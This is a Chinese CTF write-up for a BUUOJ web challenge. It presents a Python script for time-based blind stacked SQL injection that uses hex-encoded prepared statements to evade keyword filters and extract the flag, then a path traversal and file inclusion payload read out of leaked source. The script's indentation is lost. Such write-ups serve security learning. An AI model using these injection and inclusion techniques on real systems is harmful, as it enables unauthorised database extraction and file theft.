场景
点登陆没反应,注册提示未开发,猜测sql注入。
抓包在username里添加单引号报错,闭合后提示:
参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。
PDO场景下的sql注入
import time
import requests
import json
def str_to_hex(str):
return ''.join(hex(ord(c)).replace('0x', '') for c in str)
def binary(iterator, cu ,comparer):
time.sleep(0.5)#必须要加,也不知道为什么,也不是429,但不加就乱码,而且要多跑几次
startTime = time.time()
waitSeconds = 2 # 等待时间
checkSeconds = 0.2 # 容忍时间
target = 'http://0a5d1c32-a986-4421-ab81-fba57cded578.node3.buuoj.cn/index.php?r=Login/login'
payload = "a';SET @a=0x{0};PREPARE run from @a;EXECUTE run-- -"
datas = {"username" : payload.format(str_to_hex("select if(ascii(substr((select flag from flag),{},1)){comparer}{},sleep({}),1)".format(iterator, cu, waitSeconds, comparer=comparer))), "password" : "123"}
r = requests.post(target, data=json.dumps(datas))
# print(r.text)
# print(r.status_code)
if (abs(time.time() - startTime - waitSeconds) < checkSeconds):
return True
else:
return False
def test(iterator):
l = 0
r = 255
while (l <= r):
cu = (l + r) // 2
if (binary(iterator, cu, "<")):
r = cu - 1
elif (binary(iterator, cu, ">")):
l = cu + 1
elif (cu == 0):
return None
else:
return chr(cu)
def main():
print("(+) 程序开始")
finalRes = ""
iterator = 1
while (True):
extracted_char = test(iterator)
if (extracted_char == None):
break
finalRes += extracted_char
iterator += 1
print("(+) 当前结果:{}".format(finalRes), end="\r\n")
print("(+) 运行完成,结果为:", finalRes)
if __name__ == '__main__':
main()
结果glzjin_wants_a_girl_friend.zip
可以下载到源码。
接下来是审计了,直接看的官方wp。
在BaseController.php下存在变量覆盖和文件包含。
在UserController.php
下发现actionIndex
可控。视图是userindex.php
payload:
?r=User/Index&img_file=/../flag.php